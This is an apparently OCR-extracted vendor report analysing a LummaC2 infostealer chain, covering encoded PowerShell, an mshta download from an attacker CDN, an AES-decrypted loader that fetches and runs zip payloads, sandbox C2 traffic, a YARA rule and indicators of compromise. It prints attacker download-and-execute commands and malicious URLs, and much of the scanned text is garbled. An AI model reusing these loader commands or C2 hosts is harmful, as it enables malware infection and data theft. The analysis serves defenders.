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Obfuscated PowerShell leads to Lumma C2 Stealer
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Prefer audio? Listen to Rhys discuss this research on our Defend Your Time podcast episode.

Overview

In recent months, we have observed an uptick in activities related to the LummaC2 infostealer. This report delves
into a new sample of LummaC2, which was initially discovered through a series of PowerShell commands that
ultimately downloaded and executed a payload on the targeted endpoint. Our analysis covers the different stages
of the malware’s execution, from the initial PowerShell command to the subsequent payload decryption and

execution, providing insights into the tactics, techniques, and procedures (TTPs) used by the threat actor(s).

What is Lumma Malware?

Lumma is an information-stealing malware written in C (programming language) that is designed to steal sensitive
information. The malware has been observed being used as Malware-as-a-Service (MaaS), which was seen on
Russian-speaking forums starting around 2022. Once the malware infects the target host, it attempts to steal
information from the endpoint and then exfiltrate it to the command and control server. See more information

here: Lumma Malware family
Sample info

SHAZ256: 2468e5bb596fa4543dba2adfe8fd795073486193b77108319e073b9924709a8a — First stage

property
location

md5

shal

shal56

file-type
language
code-page
CompanyName
FileDescription
FileVersion
InternalName
LegalCopyright
OriginalFilename
ProductName
ProductVersion

value

rsrc:0x00002B68
959054B797CCDDE9743C53F853FEBF1A
ACFB3AEBEC1914C5B76F45CDCB390F3B61754402
1285B6C2B3FDE33549000FC63AFACCF6244A974C19E9CFC371692D195E03F135
dynamic-link library

English-US

Unicode UTF-16, little endian

Microsoft Corporation

Bluetooth Uninstall Device Task

10.0.20348.1 (WinBuild.160101.0800)

BthUdTask

© Microsoft Corporation. All rights reserved.
BthUdTask.exe

Microsoft® Windows® Operating System
10.0.20348.1
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SHA256: 2caf283566656a13bf71f8ceac3c81f58a049c92a788368323b1ba25d872372e — Second stage

property value

location rsrc:0x01078330

md5 40FBFATATE3EB3BEBC29F2157FFD3287

shal 82B28704404FBAE3SD0CET4874BA4A4269F64E03
sha256 86FEC04419BFDBI4A19F636DCOAAD4FF2779B7ESE4805BFF7CB131ACBO30CCSE
language neutral

code-page Unicode UTF-16, little endian

Comments This installation was built with Inno Setup.
CompanyName Ashampoo GmbH & Co. KG

FileDescription Ashampoo Uninstaller 14 Setup

FileVersion 14.00.12

LegalCopyright Ashampoo GmbH & Co. KG

OriginalFileName

ProductName Ashampoo Uninstaller 14

ProductVersion 14.00.12

MALICIOUS

Classifications
Spyware  Injector

Threat Names
Lumma C2/Generic-A | Gen:Heur Mint. Zard 25
GenVarant Zusy 532927 | +3

Both stages of the malware have been identified as LummaC2 Infostealer/Evader. We have also observed high
entropy in some sections of the samples, which may indicate the presence of obfuscation. Neither file has a signed
signature, but they do contain file metadata that shows masquerading attempts. MITRE Technique ‘Masquerading’
T1036.

Static Analysis

First Stage:

Upon initial discovery, we encountered this sample from a PowerShell encoded command that was attempting to

communicate with a domain to download the LummaC2 malware sample.
"PowerShell.exe" -eC bQBzAGgAdABhACAAaABOAHQACABzADoALwAVAGAAYQBOAGBALQBjAGEAbQBWACOAdgADACAAYgALAGM,

With this encoded command, we can use CyberChef to decode the string. The encoded command was identified as
Base64. By running the following steps, we can decode it. Once decoded, we can see the next stage of the
intrusion. With the information discovered, we observe ‘mshta’ followed by the domain, the path at the end and a

potential file name. https://attack.mitre.org/techniques/T1059/001/
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Recipe ~ ol B8 Input + O3 E =
e ] A~ QNI bQBzAGEAdABhACAA2ABOAHQACABZADOALWAVAGOAYQBOAGBALQBFAGEADQBWACOAdGARACAAY gAtAGMAZABUACAADEBLA
rom Base b HQALWBrAGUACWBOAHKA
Alphabet
A-Za-z0-9+/=
[J Remove non-alphabet chars [ strict mode
Remove null bytes ~0n
mc 112 = 1 Q 112 Tr Raw Bytes ¢ LI
Output B0®::

mshta https://mato-camp-v4.b-cdn. net/kesty{

Mshta.exe is an executable file designed to execute Microsoft HTML files, known as ‘HTA’. As a legitimate
Microsoft Windows binary, it is considered a LOLbin (Living off the Land binary), which allows actors to use the

process for malicious purposes. Technique: T1218.005

mshta https[:]//mato-camp-v4[.]b-cdn[.]net/kesty

Once the ‘kesty’ file is executed, we observe a second PowerShell script being run. This script executes a HEX
string that is encrypted using AES. The key stored within the PowerShell command allows us to use some Python
code to decrypt the HEX string and observe the next stage of the intrusion. I have separated the HEX string from

the command to simplify the reading output.

"powershell[.]exe" -w 1 -ep Unrestricted -nop function dhHMLxZL($zybwHU){return -split ($zybwHU -rep

Hex String

BIEFAD8C773C4FE92E2E22914A07D7E3EFCBCCF45813B63684D5DOCETFI1BC8987190E70CCBAF581F2D0142BECBF89ESAGDC

from Crypto.Cipher import AES

import binascii

def dhHMLxZL(hex_string):

return bytearray(binascii.unhexlify(hex_string))

# Hexadecimal encoded string - payload
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hex_string = ('B9EFAD8C773C4FE92E2E22914A07D7E3EFCBCCF45813B63684D5DACETFI1BC8987190E70CCBAF581F2D01:

# Decryption key

key_hex = '6D6B584A7142515A59457441736E454C"

key = dhHMLxZL(key_hex)

# Initialization Vector

iv = bytearray(16)

# Decrypt the data

cipher = AES.new(key, AES.MODE_CBC, iv)

encrypted_bytes = dhHMLxZL (hex_string)

decrypted_bytes = cipher.decrypt(encrypted_bytes)

decrypted_string = decrypted_bytes.decode('utf-8', errors="ignore')

print(decrypted_string)

Within the command, we observe ‘dhHMLxXZL(‘6D6B584A7142515A59457441736E454C”)’, which we have
identified as the decryption key. By using a Python script, we can decode this.

The outcome is the following decrypted PowerShell script:

iexfunction qZw($1Kt, $ySk){[I0.File]::WriteAl1Bytes($1Kt, $ySk)};function xoj($1Kt){$VDFW = $env:Tel

Functions Defined:

e qZw: Writes byte data to a file.
 xo0j: Expands a zip archive to the temporary directory and executes the first file found in the archive.
e VIR: Downloads data from a given URL using TLS 1.2.
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e Aec: Decodes an array of integers by subtracting 3836 from each value and converting the result to a
character.
e mjq: Coordinates the downloading and execution of two zip files, U1.zip and U2.zip , from specific

URLs. U2.zip contains “ashampoo.exe”.

Looking at the functions defined, we have observed two potential zip files. From our observations, these files
contain additional encoding of URLs. Using this information, we were able to decode the URL arrays using the

‘Aec’ function, and we obtained the following URLs:

e https[:]//campzips1[.]b-cdn[.]net/U1.zip
e https[:]//campzips1[.]b-cdn[.]net/U2.zip

def Aec(KUk):

wqg = 3836
LTu = "".join([chr(ChY - wqg) for ChY in KUk])
return LTu

# Encoded URL arrays

urll_encoded = [3940, 3952, 3952, 3948, 3951, 3894, 3883, 3883, 3935, 3933, 3945, 3948, 3958, 3941,

[3940, 3952, 3952, 3948, 3951, 3894, 3883, 3883, 3935, 3933, 3945, 3948, 3958, 3941,

url2_encoded

# Decoded URLs

urll

Aec(url1_encoded)

url2 = Aec(url2_encoded)

urll, url2

Looking at the URLs on VirusTotal, we have identified a PE file called BitlockerToGO Execution. We have also
discovered that the process ‘ashampoo.exe’ was stored within ‘U2.zip,” which we believe to be the secondary

stage dropped malware known as Lumma.
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Q Follow v C Reanalyze & Download v == Similar v/

8fa8cbe72ff6342271eca40d6184d973b2fe1f5d9e218858539407403f06acbc Size Last Anal

U2.zip 6.13MB 2days ago

Zp  detectdebugenvironment  checks-userinput  contains-pe  long-sleeps  persistence

DETECTION DETAILS RELATIONS BEHAVIOR CONTENT TELEMETRY COMMUNITY 1

Crowdsourced Sigma Rules ©

MEDIUM 1 Low1

/A Matches rule CurrentVersion Autorun Keys Modification by Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split) at Sigma Integrated Rule Set
(GitHub)
> Detects modification of autostart extensibility point (ASEP) in registry.

/\ Matches rule BitLockerTogo.EXE Execution by Josh Nickels, mttaggart at Sigma Integrated Rule Set (GitHub)
 Detects the execution of "BitLockerToG BitLocker To Go is BitLocker Drive Encryption on removable data drives. This feature includes the encryption of, USB flash drives, SD cards, External hard disk
drives, Other drives that are formatted b) g the NTFS, FAT16, FAT32, or exFAT file system. This is a rarely used application and usage of it at all is worth investigating. Malware such as Lumma stealer has been

seen using this process as a target for process hollowing.

Dynamic Analysis Sandbox Detections ©

Second Stage:

Looking into the next stage of the malware, some of the domains have been taken down or the threat actor has
ceased activity. However, I was able to run the second stage sample ‘ashampoo.exe’ in a sandbox to perform some

dynamic analysis, and this is the outcome

The first thing I wanted to examine was its execution to see what operations it performed and if there were any

additional child processes or other files being dropped.

Process Name Command Line Verdict Actions
mbssiy2zv5nagjoazwi44hg5fvv3iwg exe “C:\Users\38LTTV~1\AppDatalLocallTemp\MBSSIY2ZVENBQIOAZWI44HISFWILWQ exe” [T o
7h3b1dddi9aal2255a6e6 14550962644 exe “C:\Users\38ITTV5KiitAppData'Roaming\7B38 1DDDFIAAI2255A6E61455D96E64417B3B 1 | maucous | o

as

ampoo.exe "C:\Wsers\38ITTVAKiNDeskiopiigavufn.exe” | maucious | o

bitlockertogo exe

/indows'BitLockerDiscoveryVolumeContents\BitLockerToGo. exe e

dilhost exe

wmiprvse exe

We have discovered that ‘dllhost.exe’ was created as a child process. Malicious code is injected into
‘Bitlockertogo.exe,” which then creates two additional processes that finally create ‘dllhost.exe.” Additionally, we

observed ‘dllhost.exe’ being used for command and control, with connections to the IP.

RPC Server #5
£ FEC Sonver
bitlockertogo.exe Child Process

\

odify Memory

Child Process
mbssiy2zvbn8gjoazw144h95fvv3iwg.exe 7b3b1dddf9aal2255a6e61455d96e644.exe dilhost.exe
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“ Network Connection Performs DNS request 3

= (Process #9) dllhost.exe resolves hostname “google.com” to 1P *142.250.184.206"
= (Process #7) mbssiy2zv5n8joazw144h95fvv3lwa.exe resolves hostname “vamplersam.info” to IP "188.68.220.48"

+ (Process #9) dilhost.exe resolves hostname "ufortinfo” to 1P “188.68.220.48".

“ Network Connection Connects to remote host 4

« (Process #9) dilhost.exe opens an outgoing TCP connection to host "188.68.220.48:80".
= (Process #9) dilhost.exe opens an outgoing TCP connection to host "142.250.184.206:80".
= (Process #8) 7b3bldddf9aal2255a6e61455096e644.exe opens an outgoing TCP connection to host "188.68.220.48:80"

= (Process #7) mbssiy2zv5nBjoazw144h85fvv3lwe.exe opens an outgoing TCP connection to host 188.68.220.48:80"

“ Network Connection Downloads file 3

» (Process #7) mbssiy2zv5n8ojoazw144h95fvv3lwa.exe downloads file via http from hxxpzivamplersam [ Jinfolcfg.
+ (Process #9) dllhost.exe downloads file via http from hxxpiiivamplersam [ Jinfofcfg.

+ (Process #8) 7h3bldddfoaa02255a6e61455096e644 exe downloads file via hitp from hxpriivamplersamJinfolefg.

Furthermore, we also observed an attempt at persistence. The process ‘mbssiy2zv5n8qjoazw144h95fvv3lwq.exe’
was observed being dropped from ‘ashampoo.exe’ > ‘bitlockertogo.exe,” which then creates the child process
‘mbssiy2zv5n8qgjoazw144h95fvv3lwg.exe.” When we view process 7, we can observe a successful write to the
registry in ‘HKEY_USERS{USER Account HERE }\Software\Microsoft\Windows\CurrentVersion\Run.’ This is

one of the most common spots for persistence, as it allows the actor to obtain access to the target endpoint.
MITRE ATT&CK T1547.001

Registry (2)
Operation Key Additional Information Success
HKEY_USERSIS-1.5.21 2062450170 1837126128 2394547310~
Open Key \Mi Wi \CurrentVarsi v
' o . data_ident =
Wite Value e 152 2624501701837 126120 2394547310- C:\Users\38ITTVSKil\AppData\Roaming\7B381DDDFIAA2255AGE 6 1455D96E644\7B3E1DD

DF9AA02255A6E61455D96E644.exe, data_size = 210, type = REG_SZ

Looking further into the command and control of the malware, we can see from Figure 8 that ‘dllhost.exe’ is being
used as the process for command and control. ‘Dllhost.exe’ is a known legitimate Microsoft Windows file,

specifically a COM surrogate process used by Windows to load COM objects.

Actors exploit this process maliciously by injecting code into it, instructing it to perform unauthorized actions.

This technique is commonly known as Process Injection. MITRE Technique T1055.

Here, we have the PCAP of the malicious connection. From the dynamic analysis, we observed a connection to IP
188.68.220[.]48.” By setting this as the destination, we can see the communication between the source and

destination IP addresses. We observed multiple intervals of HTTP communication with the target C2 server.
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W ip.dst == 188.68.220.48

Destination Protocol Length Info
188.68.220. 4

Time.

5742 2024-08-06 8
8

- 5745 2024-08-06
5754 2024-08-06

5755 2024-08-06
5762 2024-08-06
5764 2024-08-06

188.68.220.48 TP 54 58264 > 80 [FIN
188.68.220.48 TP 66 58265 » 80 [SYN] Seq
188.68.220.48 TP 54 58265 - 80 [ACK] Seq=1

188.68.220.48 HTTP === 181 POST /cfg HTTP/1.1 (ap) on, -
5769 2024-08-06 10:11:02.197084 192.168.0.170 188.68.220.48 TP 54 58265 » 80 [ACK] Seq=128 Ack=513 Win=261888 Len=0
5770 2024-08-06 10:11:02.267079 192.168.0.170 188.68.220.48 TP 54 58265 > 80 [FIN, ACK] Seq=128 Ack=513 Win=261888 Len=0

5773 2024-08-06 10:
5775 2024-08-06 10:

03.200054 192.168.0.170 188.68.220.48 TP 66 58266 > 80 [SYN] Seq;
03.258913 192.168.0.170 188.68.220.48 TP 54 58266 > 80 [ACK] Seg=: =1 Win=262400 Len=0

5776 2024-08-06 10:11:03.260869 192.168.0.170 188.68.220.48 HTTP. =181 POST /cfg HTTP/1.1 (application/x-www-form-urlencoded)

5785 2024-08-06 10:11:04.297067 192.168.0.170 188.68.220.48 TP 54 58266 > 80 [ACK] Seq=128 Ack=513 Win=261888 Len=0

5786 2024-08-06 10:11:04.369632 192.168.0.170 188.68.220.48 TP 54 58266 > 80 [FIN, ACK] Seq=128 Ack=513 Win=261888 Len=e

5817 2024-08-06 05.955564 192.168.0.170 188.68.220.48 TP 66 58269 > 80 [SYN] Seq=0 Win=64240 Len=@ MSS=146@ WS=256 SACK_PERM

5820 2024-08-06

:11:06.004488 192.168.0.170 188.68.220.48 TP 54 58269 > 80 [ACK] Seq=1 Ack=1 Win=262400 Len=0
5821 2024-08-06 10:

06.005958 192.168.0.170 188.68.220.48 HTTP s 494 POST / HTTP/1.1 (application/x-www-form-urlencoded)

5824 2024-€8-06 10:11:06.960702 192.168.0.170 188.68.220.48 TP 54 58269 » 80 [ACK] Seq=441 Ack=174 Win=262144 Len=0

5825 2024-08-06 10:11:06.973728 192.168.0.170 188.68.220.48 TcP 54 58269 » 80 [FIN, ACK] Seq=441 Ack=174 Win=262144 Len=0

5876 2024-68-06 10:11:17.219053 192.168.0.170 188.68.220.48 TP 66 58272 > 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM
5878 2024-08-06 10:11:17.263298 192.168.0.170 188.68.220.48 TP 54 58272 > 80 [ACK] Seq=1 Ack=1 Win=262400 Len=0

5879 2024-€8-06 10:11:17.264817 192.168.0.170 188.68.220.48 HTTP e 494 POST / HTTP/1.1 (application/x-www-form-urlencoded)

5887 2024-08-06 10:11:18.207371 192.168.0.170 188.68.220.48 TcP 54 58272 > 80 [ACK] Seq=441 Ack=174 Win=262144 Len=0

5888 2024-€8-06 10:11:18.216793 192.168.0.170 188.68.220.48 TP 54 58272 > 80 [FIN, ACK] 441 Ack=174 Win=262144 Len=@

5926 2024-€8-06 10:11:28.366592 192.168.0.170 188.68.220.48 TP =64248 Len=0 MSS=1460 WS=256 SACK_PERM
5928 2024-€8-06 10:11:28.410873 192.168.0.170 188.68.220.48 TP 1 Win=262400 Len=0

5929 2024-€8-06 10:11:28.4137€8 192.168.0.170 188.68.220.48
188.68.220.48

= 502 POST / HTTP/1.1  (application/x-www-form-urlencoded)
54 58274 » 80 [ACK] Seq=449 Ack=174 Win=262144 Len=e

) Frame 5745: 181 bytes on wire (1448 bits), 181 bytes captured (1448 bits) on interface unknown, id @ 00 02 9c 0 Sc c8 7c cd 11 28 42 @d 08 00 45 00

Upon further analysis of the PCAP file from the dynamic analysis, we observed a ‘POST’ request to
‘vamplersam].Jinfo,” where the request is sending data to the endpoint ‘/cfg.” This could indicate a stream of data
or commands being exchanged between the C2 server and the target endpoint. Although I am filtering the analysis
to the target IP address, it’s clear that if a POST request is being made, commands are likely being sent to the

target device from the C2 server in order to receive data.

The way this works is that the actor will send a command, such as ‘get file’ or ‘download file,” allowing them to
collect data from the target device. This would then fall under the MITRE Technique ‘Collection’ and Exfiltration

MITRE Technique Exfiltration. Another common aspect of Lumma is that it uses the User-Agent

‘TeslaBrowser/5.5.” However, in this sample, when examining the HTTP headers, we do not see this User-Agent.
This could be because the actor is using a custom client to send the requests, likely to avoid detection knowing

this User-Agent was used in prior samples.

£ Wireshark - Packet 5745 - analysis.pcap

Frame 5745: 181 bytes on wire (1448 bits), 181 bytes captured (1448 bits) on interface unknown, id @
Ethernet II, Src: MSMagnet_28:42:@d (7c:cd:11:28:42:0d), Dst: 3Com_f@:5c:c8 (©0:02:9c:f8:5¢c:c8)
Internet Protocol Version 4, Src: 192.168.0.170, Dst: 188.68.220.48
Transmission Control Protocol, Src Port: 58264, Dst Port: 8@, Seq: 1, Ack: 1, Len: 127
Hypertext Transfer Protocol

POST /cfg HTTP/1.1\r\n

Content-Type: application/x-www-form-urlencoded\r\n

Host: vamplersam.info\r\n

Content-Length: 13\r\n

\r\n

[HTTP request 1/1]

File Data: 13 bytes
~ HTML Form URL Encoded: application/x-www-form-urlencoded
» Form item: "1" = "
» Form item: "v" = "16777217"

ooee ©e e2 7c 11 S (B E
30 8b ) D
63 68 Pc- h] ZP
50 53 aR--PO ST /cfg
2e ed HTTP/1.1 - -Conten
3a 61 t-Type: applicat
77 77 ion/x-ww w-form-u
64 64 rlencode d- ‘Host:
65 73 vampler sam.info
65 74 Conten t-Length
ed 6c : 13 1=8&v=167

77217
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Behavioural Processes

Behavior Information - Grouped by Category

Process #1: ashampoo.exe

Process #2: bitlockertogo.exe

Process #4: suchost.exe

Process #5: wmiprvse.exe

Process #7: mbssiy2zvsnBgjoazwid44hgsfvwilwg.exe
Process #8: 7Tb3b1dddf9aal2255a6e61455d96e644.exe
Process #9: dllhost.exe

Process #10: wmiprvse.exe

Process #11: svchost.exe

Process #13: taskhostw.exe

MITRE ATTACK Techniques

Mitre ATT&CK Matrix
. . a Privilege Defense Credential - Lateral = Command
Initial Access Execution Persistence E = Evasion A Discovery Do Collection ot
H#T1047 #T1060 #T1547.001 #T1497 #T1497 #T1071
Windows Registry Run | Registry Run | Virtualization/ cr - ].D_t;ls = Virtualization/ R:::]:eogi\e nﬂu-;s,d Standard
Management || Keys /Startup | Keys / Startup Sandbox Files San Co ‘Collection Application
Instrumentation Folder Falder Evasion Evasion Py Layer Protocol
#T1547.001
471085 | Regisry Run #T1143 Hidden | #T1056 1npur | #1058 File o Do peer1ic i
Rundiz2 | Keys/ Startup Window Caplure ! y
Falder Discovery System Copy
H#T1047 #T1082
Windows gouas | gmesaom | sysem #T1115 #T1071.001
Management Packi Files Information Clipboard Data | Web Pratocols
Instrumentation " Discovery
#T1063 #T1105
#T1112 Modify | #T1056 Input Security #T1113 Screen Ingress Tool
Regisiry Capture Sofware Capiure ROl
Discovery
#T1085 #1%:159‘;?'01 #T1056 Input
Rundii32 Checks Capiure
#T1497.001 #T1083 File #T1119
System and Directory Automated
Checks Discovery Coallection
#T1564.003 i #T1005 Data
Hidden e from Local
Window o System
Discovery
#T1027.002 b
Software urity ) #T1115
Packi Sofware Clipboard Data
" Discovery
#T1112 Modify #T1113 Screen
Registry Capture
#T1218.011 #T1056 Input
Rundii32 Caplure
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YARA Rule

rule LummaC2_Suspicious_Network_Activity {

meta:

author = "Rhys Downing"

description = "Detects suspicious repeated HTTP POST requests to C2 server from dllhost.exe"

reference = "Lumma C2 Infostealer"

date = "2024-08-11"

version = "1.1"

tlp = "WHITE"

strings:

// Target the specific HTTP POST request to the /cfg endpoint

$post_request_1 = "POST /cfg HTTP/1.1" ascii

$post_request_2 = "POST /cfg HTTP/1.1" wide

// Target the Host header indicating communication with the C2 server

$host_header_1 = "Host: vamplersam.info" ascii

$host_header_2 = "Host: vamplersam.info" wide
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// Target the IP address involved in the communication

$ip_address = "188.68.220.48" ascii

// Target the Content-Type for POST data

$content_type_1 = "Content-Type: application/x-www-form-urlencoded" ascii

$content_type_2 = "Content-Type: application/x-www-form-urlencoded" wide
condition:
// Match conditions for either ASCII or wide character encoding
(all of ($post_request_1, $host_header_1, $content_type_1, $ip_address)) or
(all of ($post_request_2, $host_header_2, $content_type_2, $ip_address))
and

// Ensure that the process is dllhost.exe

pe.exports("dllhost.exe")

Mitigations
Endpoint Protection and Monitoring

e EDR Solutions: Deploy and configure Endpoint Detection and Response (EDR) solutions to detect and
respond to suspicious behaviours, such as process injection, unusual process execution (e.g., dllhost.exe

with network activity), and file modifications.
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Attack Surface Reduction (ASR) Rules

e Implement ASR rules to block potentially malicious behavior. Key rules to consider include:
e Block executable content from email and webmail clients.
o Use advanced protection against credential theft.

e Block executable files from running unless they meet a prevalence, age, or trusted list criterion.

Indicators of compromise

URLs:

e https[:]//mato-camp-v4.b-cdn[.]net

e http[:]/campzips1.b-cdn[.]Jnet/U1.zip
e https[:]//campzips1.b-cdn[.]net/U2.zip
e http[:]//sulphurhsum[.]shop

e http[:]/rainbowmynsjn[.]shop

e http[:]//assumedtribsospl[.]shop

e http[:]//chippyfroggsyhz[.]shop

« http[:]//ufort[.]info
 https[:]//bitbucket[.]org/dultevupsel/zeus/downloads/108GoDIl.exe
e http[:]/creepydxzoxmj[.]shop

e http[:]/boattyownerwrv[.]shop

e http[:]//vamplersam[.]info/cfg

e https[:]//sulphurhsum][.]shop/api

e http[:]/budgetttysnzml.]shop

o http[:]/definitonizmnx[.]shop

e http[:]/empiredzmwnx[.]shop

IP Addresses:

e 188.68.220[.]48 — Country: Russia
e 185.166.143[.]48 — Country: Russia — Resolved Domain: bitbucket|.]Jorg

File Names/Hashes:

e ashampoo.exe — SHA256: 2caf283566656a13bf71f8ceac3c81f58a049¢92a788368323b1ba25d872372e

e Kesty[1] — SHA256: 2468e5bb596fa4543dba2adfe8fd795073486193b77108319e073b9924709a8a

e 108GoDll.exe — SHA256: 32db2729ef61f2a19c4c3632f0de727476b7fce0d68b5dcec8d0246042a8e398

e mbssiy2zv5n8qjoazw144h95fvv3lwg.exe — SHA256:
32db2729ef61f2a19¢4c3632f0de727476b7fce0d68b5dcec8d0246042a8e398

Listen to Rhys discuss this research on our Defend Your Time podcast episode.

Source: https://www.ontinue.com/resource/obfuscated-powershell-leads-to-lumma-c2-stealer/
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